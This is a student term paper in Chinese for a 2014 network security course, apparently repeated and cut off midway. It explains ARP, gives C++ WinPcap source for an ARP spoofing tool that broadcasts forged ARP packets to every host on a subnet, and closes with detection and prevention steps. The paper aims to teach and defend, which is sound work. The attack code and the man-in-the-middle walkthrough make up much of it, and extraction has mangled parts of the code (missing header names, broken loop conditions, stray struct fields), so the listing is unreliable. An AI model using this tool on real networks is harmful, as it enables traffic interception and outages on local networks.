《网络安全技术》课程期
末考核(论文)
题目名称:Arp欺骗程序的实现
院系名称:计算机学院 班 级:网络122 学 号:[1**********]8 学生姓名:简进祥 授课教师:倪亮
2014 年 12月
目录
1.前言 ..................................................................................................... 2 1.1ARP简介 ............................................................................................................... 3 1.2课程研究目的和意义 .............................................................................................. 3 2.需求分析 ................................................................................................ 4 3.开发环境及程序框架 ................................................................................... 5 3.1开发环境 ............................................................................................................. 5 3.2程序框架 ............................................................................................................. 5 3.2实现设计的内容 .................................................................................................... 6 4.安装WinPcap........................................................................................ 7 4.1WinPcap简介 .................................................................................................... 7 4.2WinPcap功能 .................................................................................................... 7 4.1WinPcap安装 .................................................................................................... 8 5.程序主要代码 ........................................................................................ 10 5.1主程序代码 ........................................................................................................ 10 6.程序的运行 ........................................................................................... 17 6.1程序运行过程 ..................................................................................................... 17 7.总结 ................................................................................................... 19 7.1程序总结 ........................................................................................................... 19
1.前言
2
1.1ARP简介
ARP(Address Resolution Protocol,地址解析协议)是获取物理地址的一个TCP/IP协议。某节点的IP地址的ARP请求被广播到网络上后,这个节点会收到确认 其物理地址的应答,这样的数据包才能被传送出去。ARP(是一个位于TCP/IP协议)栈中的底层协议,对应于数据链路层,负责将某个IP地址解析成对应的MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。ARP是一种将IP地址转化成物理地址的协议。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
1.2课程研究目的和意义
ARP欺骗是黑客黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。
一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。为此,宽带路由器背了不少“黑锅”。
我们研究的目的就是为了程序实现ARP欺骗,对ARP欺骗进行进一步的认识并提出防范。
• 3 •
2.需求分析
现在的网络已经越来越不安全了,ARP欺骗也越来越多,而ARP欺骗带来的问题也随之增多。我们要学会解决这些问题。
ARP的工作原理是首先,每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
ARP欺骗可以导致目标计算机与网关通信失败;更可怕的是会导致通信重定向,所有的数据都会通过攻击者的机器,因此存在极大的安全隐患。所以我们要通过学习ARP欺骗来解决和防范ARP欺骗带来的问题。
4
3.开发环境及程序框架
3.1开发环境
1 、虚拟机安装好Ethereal软件; 2 、虚拟机安装好Ethereal软件; 3 、编译工具VC; 4 、WinPcap软件
3.2程序框架
• 5 •
图3.2.1程序框架
3.2实现设计的内容
1.理解ARP欺骗原理,利用WinPcap实现ARP欺骗。
2.用程序对局域网内任一主机实现ARP欺骗,使其IP及MAC信息在别的主机的ARP缓存中被更改。
6
4.安装WinPcap
4.1WinPcap简介
winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
WinPcap是用于网络封包抓取的一套工具,可适用于32位的操作平台上解析网络封包,包含了核心的封包过滤,一个底层动态链接库,和一个高层系统函数库,及可用来直接存取封包的应用程序界面。
Winpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程。 大多数网络应用程序访问网络是通过广泛使用的套接字。这种方法很容易实现网络数据传输,因为操作系统负责底层的细节(比如协议栈,数据流组装等)以及提供了类似于文件读写的函数接口。
但是有时,简单的方法是不够的。因为一些应用程序需要一个底层环境去直接操纵网络通信。因此需要一个不需要协议栈支持的原始的访问网络的方法。
Winpcap提供了一个强大的编程接口,它很容易地在各个操作系统之间进行移植,也很方便程序员进行开发。终端中依次执行以下命令,即可自动安装相应的软件功能模块。 Winpcap是一个Win32平台下用于抓包和分析的系统。包括一个内核级别的packet filter,一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL(Wpcap.dll)。
4.2WinPcap功能
1.捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据包; 2. 在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉; 3. 在网络上发送原始的数据包; 4.收集网络通信过程中的统计信息。
winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据包。也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据包的发收,它仅仅只是监听共享网络上传送的数据包。因此,它不能用于QOS调度程序或个人防火墙。目前,winpcap开发的主要对象是windows NT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me,并且MS也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似,
• 7 •
只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。有个软件叫sniffer pro.可以作网管软件用,有很多功能,可监视网络运行情况,每台网内机器的数据流量,实时反映每台机器所访问IP以及它们之间的数据流通情况,可以抓包,可对过滤器进行设置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可从中找到邮箱用户名和密码,还有ftp用户名和密码。它还可以在使用交换机的网络上监听,不过要在交换机上装它的一个软件。还有一个简单的监听软件叫Passwordsniffer,可截获邮箱用户名和密码,还有ftp用户名和密码,它只能用在HUB网络上。著名软件tcpdump及idssnort都是基于libpcap编写的,此外Nmap扫描器也是基于libpcap来捕获目标主机返回的数据包的。
winpcap提供给用户两个不同级别的编程接口:一个基于libpcap的wpcap.dll,另一个是较底层的packet.dll。对于一般的要与unix平台上libpcap兼容的开发来说,使用wpcap.dll是当然的选择。
4.1WinPcap安装
1.打开WinPcap 4.1 .2Beta 4.exe文件,出现如下界面:
8
2. WinPcap 4.1 .2Beta 4.exe安装完后出现如下界面:
3. 解压WpdPack到WinPcap 4.1 Beta 4安装路径下。
4. 添加头文件和lib文件到该程序中。 具体方法:
(1).点击项目属性,在c/c++常规的附加包含目录那导入wpdpack中的Include的电脑所在目录。
• 9 •
(2). 点击项目属性,在链接器常规中的附加库目录导入wpdpack中的Lib的电脑所在目录。
5.程序主要代码
5.1主程序代码
//
10
//ArpCheat.cpp
#include "stdafx.h"
#include
#include "arpcheat.h"
#include
//#include "remote-ext.h"
#include
#include
#include
//#include "remote-ext.h"
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib, "ws2_32.lib")
#define PCAP_SRC_IF_STRING
int main(int argc,char* argv[]){
pcap_if_t *alldevs; //全部网卡列表
pcap_if_t *d; //一个网卡
int inum; //用户选择的网卡序号
int i=0; //循环变量
pcap_t *adhandle; //一个pcap实例
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
unsigned char *mac; //本机MAC地址
unsigned char *packet; //ARP包
unsigned long fakeIp; //要伪装成的IP地址
pcap_addr_t *pAddr; //网卡地址
unsigned long ip; //IP地址
unsigned long netmask; //子网掩码
if(argc!=2){
printf("Usage:%s inet_addr\n",argv[0]);
return -1;
}
//从参数列表获得要伪装的IP地址
fakeIp = inet_addr(argv[1]);
if(INADDR_NONE==fakeIp){
• 11 •
fprintf(stderr,"Invalid IP: %s\n",argv[1]);
return -1;
}
/* 获得本机网卡列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印网卡列表 */
for(d=alldevs; d; d=d->next)
{
printf("%d", ++i);
if (d->description)
printf(". %s\n", d->description);
else
printf(". No description available\n");
}
//如果没有发现网卡
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
//请用户选择一个网卡
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
//如果用户选择的网卡序号超出有效范围,则退出
if(inum i)
{
printf("\nInterface number out of range.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* 移动指针到用户选择的网卡 */
for(d=alldevs, i=0; inext, i++);
mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"
printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);
12
/* 打开网卡 */
if ( (adhandle= pcap_open(d->name, // name of the device
65536, // portion of the packet to capture
1, //open flag
1000, // read timeout
NULL, // authentication on the remote machine
errbuf // error buffer
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",
d->name);
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){
//得到用户选择的网卡的一个IP地址
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
//得到该IP地址对应的子网掩码
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
if (!ip || !netmask){
continue;
}
//看看这个IP和要伪装的IP是否在同一个子网
if((ip&netmask)!=(fakeIp&netmask)){
continue; //如果不在一个子网,继续遍历地址列表
}
unsigned long netsize = ntohl(netmask); //网络中主机数
unsigned long net = ip & netmask; //子网地址
for(unsigned long n=1; n
//第i台主机的IP地址,网络字节顺序
unsigned long destIp = net | htonl(n);
//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
packet = BuildArpPacket(mac,fakeIp,destIp);
if(pcap_sendpacket(adhandle, packet, 60)==-1){
fprintf(stderr,"pcap_sendpacket error.\n");
}
}
• 13 •
return 0;
}
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName){
static u_char mac[6];
memset(mac,0,sizeof(mac));
LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
return NULL;
}
PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
//
// Retrieve the adapter MAC querying the NIC driver
//
OidData->Oid = OID_802_3_CURRENT_ADDRESS;
OidData->Length = 6;
memset(OidData->Data, 0, 6);
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
if(Status)
{
memcpy(mac,(u_char*)(OidData->Data),6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
return mac;
14 +
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
unsigned long srcIP,unsigned long destIP)
{
static struct arp_packet packet;
//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac,0xFF,6);
//源MAC地址
memcpy(packet.eth.source_mac,source_mac,6);
//上层协议为ARP协议,0x0806
packet.eth.eh_type = htons(0x0806);
//硬件类型,Ethernet是0x0001
packet.arp.hardware_type = htons(0x0001);
//上层协议类型,IP为0x0800
packet.arp.protocol_type = htons(0x0800);
//硬件地址长度:MAC地址长度为0x06
packet.arp.add_len = 0x06;
//协议地址长度:IP地址长度为0x04
packet.arp.pro_len = 0x04;
//操作:ARP请求为1
packet.arp.option = htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr,source_mac,6);
//源IP地址
packet.arp.sour_ip = srcIP;
//目的MAC地址,填充0
memset(packet.arp.dest_addr,0,6);
//目的IP地址
packet.arp.dest_ip = destIP;
//填充数据,18B
memset(packet.arp.padding,0,18);
return (unsigned char*)&packet;
}
//ArpCheat.h
• 15 •
//字节对齐必须是1
#pragma pack (1)
struct ethernet_head
{
unsigned char dest_mac[6]; //目标主机MAC地址
unsigned char source_mac[6]; //源端MAC地址
unsigned short eh_type; //以太网类型
};
struct arp_head
{
unsigned short hardware_type; //硬件类型:以太网接口类型为1
unsigned short protocol_type; //协议类型:IP协议类型为0X0800
unsigned char add_len; //硬件地址长度:MAC地址长度为6B
unsigned char pro_len; //协议地址长度:IP地址长度为4B
unsigned short option; //操作:ARP请求为1,ARP应答为2
unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址
unsigned long sour_ip; //源IP地址:发送方的IP地址
unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
unsigned char padding[18];
unsigned char PCAP_SRC_IF_STRING;
unsigned char pacp_findalldevs_ex;
unsigned char pcap_open;
};
struct arp_packet //最终arp包结构
{
ethernet_head eth; //以太网头部
arp_head arp; //arp数据包头部
};
#pragma pack ()
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName);
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
16
unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP);
6.程序的运行
6.1程序运行过程
1. 打开WINDOWS 运行菜单(DOS)输入:
cmd
2.打开cmd界面。
• 17 •
3.输入代码编译后的EXE文件路径->输入IP地址
18
4.继续操作,运行结果如图
7.总结
7.1程序总结
1.总结对ARP欺骗原理的理解。
假设一个网络环境中,网内有三台主机,分别为主机A、B、C。主机详细信息如下描述: A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
正常情况下A和C之间进行通讯,但是此时B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是
BB-BB-BB-BB-BB-BB(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A被欺骗了),这时B就伪装成C了。同时,B同样向C发送一个ARP应答,应答包中发送方IP地址四192.168.10.1(A的IP地址),MAC地址是BB-BB-BB-BB-BB-BB(A的MAC地址本来应该是AA-AA-AA-AA-AA-AA),当
• 19 •
C收到B伪造的ARP应答,也会更新本地ARP缓存(C也被欺骗了),这时B就伪装成了A。这样主机A和C都被主机B欺骗,A和C之间通讯的数据都经过了B。主机B完全可以知道他们之间说的什么:)。这就是典型的ARP欺骗过程。
ARP欺骗存在两种情况:一种是欺骗主机作为“中间人”,被欺骗主机的数据都经过它中转一次,这样欺骗主机可以窃取到被它欺骗的主机之间的通讯数据;另一种让被欺骗主机直接断网。
第一种:窃取数据(嗅探)
通讯模式:
应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 请求 -> 应答 -> 应答 ->请求->应答... 描述:
这种情况就属于我们上面所说的典型的ARP欺骗,欺骗主机向被欺骗主机发送大量伪造的ARP应答包进行欺骗,当通讯双方被欺骗成功后,自己作为了一个“中间人“的身份。此时被欺骗的主机双方还能正常通讯,只不过在通讯过程中被欺骗者“窃听”了。
第二种:导致断网
通讯模式:
应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 请求„
描述:
这类情况就是在ARP欺骗过程中,欺骗者只欺骗了其中一方,如B欺骗了A,但是同时B没有对C进行欺骗,这样A实质上是在和B通讯,所以A就不能和C通讯了,另外一种情况还可能就是欺骗者伪造一个不存在地址进行欺骗。
对于伪造地址进行的欺骗,在排查上比较有难度,这里最好是借用TAP设备(这个东东好像有点贵勒),分别捕获单向数据流进行分析!
2. 归纳ARP欺骗的防范措施。 基于PC到PC的IP-MAC双向绑定可以解决ARP欺骗,但是对于不支持IP-MAC双向绑定的设备,就需要用可以绑定端口-MAC的交换来预防ARP欺骗。
(1).故障现象及原因分析
情况一、当局域网内某台主机感染了ARP病毒时,会向本局域网内(指某一网段,比如:10.10.75.0这一段)所有主机发送ARP欺骗攻击谎称自己是这个网端的网关设备,让原本流向网关的流量改道流向病毒主机,造成受害者不能正常上网。
20
情况二、局域网内有某些用户使用了ARP欺骗程序(如:网络执法官,QQ盗号软件等)发送ARP欺骗数据包,致使被攻击的电脑出现突然不能上网,过一段时间又能上网,反复掉线的现象。
关于APR欺骗的具体原理请看我收集的资料ARP欺骗的原理
(2).故障诊断
如果用户发现以上疑似情况,可以通过如下操作进行诊断:
点击“开始”按钮->选择“运行”->输入“arp–d”->点击“确定”按钮,然后重新尝试上网,如果能恢复正常,则说明此次掉线可能是受ARP欺骗所致。
注:arp-d命令用于清除并重建本机arp表。arp–d命令并不能抵御ARP欺骗,执行后仍有可能再次遭受ARP攻击。
(3).故障处理
1、中毒者:建议使用趋势科技SysClean工具或其他杀毒软件清除病毒。
2、被害者:(1)绑定网关mac地址。具体方法如下:
1)首先,获得路由器的内网的MAC地址(例如网关地址10.10.75.254的MAC地址为0022aa0022aa)。2)编写一个批处理文件AntiArp.bat内容如下:
@echooffarp-darp-s10.10.75.25400-22-aa-00-22-aa
将文件中的网关IP地址和MAC地址更改为您自己的网关IP地址和MAC地址即可,计算机重新启动后需要重新进行绑定,因此我们可以将该批处理文件AntiArp.bat文件拖到“windows--开始--程序--启动”中。这样开机时这个批处理就被执行了。
(2)使用ARP防火墙(例如AntiArp)软件抵御ARP攻击。
AntiArp软件会在提示框内出现病毒主机的MAC地址
(4).找出ARP病毒源
第一招:使用Sniffer抓包
在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送
ARP Request请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
• 21 •
第二招:使用arp-a命令任意选两台不能上网的主机,在DOS命令窗口下运行arp-a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert61.135.179.148。假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。
本结课论文内容参考自以下网站和书籍:
百度百科:
http://baike.baidu.com/
51CTO安全频道:
http://netsecurity.51cto.com/
网络安全高级软件编程技术 吴功宜 清华大学出版社
22
《网络安全技术》课程期
末考核(论文)
题目名称:Arp欺骗程序的实现
院系名称:计算机学院 班 级:网络122 学 号:[1**********]8 学生姓名:简进祥 授课教师:倪亮
2014 年 12月
目录
1.前言 ..................................................................................................... 2 1.1ARP简介 ............................................................................................................... 3 1.2课程研究目的和意义 .............................................................................................. 3 2.需求分析 ................................................................................................ 4 3.开发环境及程序框架 ................................................................................... 5 3.1开发环境 ............................................................................................................. 5 3.2程序框架 ............................................................................................................. 5 3.2实现设计的内容 .................................................................................................... 6 4.安装WinPcap........................................................................................ 7 4.1WinPcap简介 .................................................................................................... 7 4.2WinPcap功能 .................................................................................................... 7 4.1WinPcap安装 .................................................................................................... 8 5.程序主要代码 ........................................................................................ 10 5.1主程序代码 ........................................................................................................ 10 6.程序的运行 ........................................................................................... 17 6.1程序运行过程 ..................................................................................................... 17 7.总结 ................................................................................................... 19 7.1程序总结 ........................................................................................................... 19
1.前言
2
1.1ARP简介
ARP(Address Resolution Protocol,地址解析协议)是获取物理地址的一个TCP/IP协议。某节点的IP地址的ARP请求被广播到网络上后,这个节点会收到确认 其物理地址的应答,这样的数据包才能被传送出去。ARP(是一个位于TCP/IP协议)栈中的底层协议,对应于数据链路层,负责将某个IP地址解析成对应的MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。ARP是一种将IP地址转化成物理地址的协议。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
1.2课程研究目的和意义
ARP欺骗是黑客黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。
一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。为此,宽带路由器背了不少“黑锅”。
我们研究的目的就是为了程序实现ARP欺骗,对ARP欺骗进行进一步的认识并提出防范。
• 3 •
2.需求分析
现在的网络已经越来越不安全了,ARP欺骗也越来越多,而ARP欺骗带来的问题也随之增多。我们要学会解决这些问题。
ARP的工作原理是首先,每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
ARP欺骗可以导致目标计算机与网关通信失败;更可怕的是会导致通信重定向,所有的数据都会通过攻击者的机器,因此存在极大的安全隐患。所以我们要通过学习ARP欺骗来解决和防范ARP欺骗带来的问题。
4
3.开发环境及程序框架
3.1开发环境
1 、虚拟机安装好Ethereal软件; 2 、虚拟机安装好Ethereal软件; 3 、编译工具VC; 4 、WinPcap软件
3.2程序框架
• 5 •
图3.2.1程序框架
3.2实现设计的内容
1.理解ARP欺骗原理,利用WinPcap实现ARP欺骗。
2.用程序对局域网内任一主机实现ARP欺骗,使其IP及MAC信息在别的主机的ARP缓存中被更改。
6
4.安装WinPcap
4.1WinPcap简介
winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
WinPcap是用于网络封包抓取的一套工具,可适用于32位的操作平台上解析网络封包,包含了核心的封包过滤,一个底层动态链接库,和一个高层系统函数库,及可用来直接存取封包的应用程序界面。
Winpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程。 大多数网络应用程序访问网络是通过广泛使用的套接字。这种方法很容易实现网络数据传输,因为操作系统负责底层的细节(比如协议栈,数据流组装等)以及提供了类似于文件读写的函数接口。
但是有时,简单的方法是不够的。因为一些应用程序需要一个底层环境去直接操纵网络通信。因此需要一个不需要协议栈支持的原始的访问网络的方法。
Winpcap提供了一个强大的编程接口,它很容易地在各个操作系统之间进行移植,也很方便程序员进行开发。终端中依次执行以下命令,即可自动安装相应的软件功能模块。 Winpcap是一个Win32平台下用于抓包和分析的系统。包括一个内核级别的packet filter,一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL(Wpcap.dll)。
4.2WinPcap功能
1.捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据包; 2. 在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉; 3. 在网络上发送原始的数据包; 4.收集网络通信过程中的统计信息。
winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据包。也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据包的发收,它仅仅只是监听共享网络上传送的数据包。因此,它不能用于QOS调度程序或个人防火墙。目前,winpcap开发的主要对象是windows NT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me,并且MS也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似,
• 7 •
只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。有个软件叫sniffer pro.可以作网管软件用,有很多功能,可监视网络运行情况,每台网内机器的数据流量,实时反映每台机器所访问IP以及它们之间的数据流通情况,可以抓包,可对过滤器进行设置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可从中找到邮箱用户名和密码,还有ftp用户名和密码。它还可以在使用交换机的网络上监听,不过要在交换机上装它的一个软件。还有一个简单的监听软件叫Passwordsniffer,可截获邮箱用户名和密码,还有ftp用户名和密码,它只能用在HUB网络上。著名软件tcpdump及idssnort都是基于libpcap编写的,此外Nmap扫描器也是基于libpcap来捕获目标主机返回的数据包的。
winpcap提供给用户两个不同级别的编程接口:一个基于libpcap的wpcap.dll,另一个是较底层的packet.dll。对于一般的要与unix平台上libpcap兼容的开发来说,使用wpcap.dll是当然的选择。
4.1WinPcap安装
1.打开WinPcap 4.1 .2Beta 4.exe文件,出现如下界面:
8
2. WinPcap 4.1 .2Beta 4.exe安装完后出现如下界面:
3. 解压WpdPack到WinPcap 4.1 Beta 4安装路径下。
4. 添加头文件和lib文件到该程序中。 具体方法:
(1).点击项目属性,在c/c++常规的附加包含目录那导入wpdpack中的Include的电脑所在目录。
• 9 •
(2). 点击项目属性,在链接器常规中的附加库目录导入wpdpack中的Lib的电脑所在目录。
5.程序主要代码
5.1主程序代码
//
10
//ArpCheat.cpp
#include "stdafx.h"
#include
#include "arpcheat.h"
#include
//#include "remote-ext.h"
#include
#include
#include
//#include "remote-ext.h"
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib, "ws2_32.lib")
#define PCAP_SRC_IF_STRING
int main(int argc,char* argv[]){
pcap_if_t *alldevs; //全部网卡列表
pcap_if_t *d; //一个网卡
int inum; //用户选择的网卡序号
int i=0; //循环变量
pcap_t *adhandle; //一个pcap实例
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
unsigned char *mac; //本机MAC地址
unsigned char *packet; //ARP包
unsigned long fakeIp; //要伪装成的IP地址
pcap_addr_t *pAddr; //网卡地址
unsigned long ip; //IP地址
unsigned long netmask; //子网掩码
if(argc!=2){
printf("Usage:%s inet_addr\n",argv[0]);
return -1;
}
//从参数列表获得要伪装的IP地址
fakeIp = inet_addr(argv[1]);
if(INADDR_NONE==fakeIp){
• 11 •
fprintf(stderr,"Invalid IP: %s\n",argv[1]);
return -1;
}
/* 获得本机网卡列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印网卡列表 */
for(d=alldevs; d; d=d->next)
{
printf("%d", ++i);
if (d->description)
printf(". %s\n", d->description);
else
printf(". No description available\n");
}
//如果没有发现网卡
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
//请用户选择一个网卡
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
//如果用户选择的网卡序号超出有效范围,则退出
if(inum i)
{
printf("\nInterface number out of range.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* 移动指针到用户选择的网卡 */
for(d=alldevs, i=0; inext, i++);
mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"
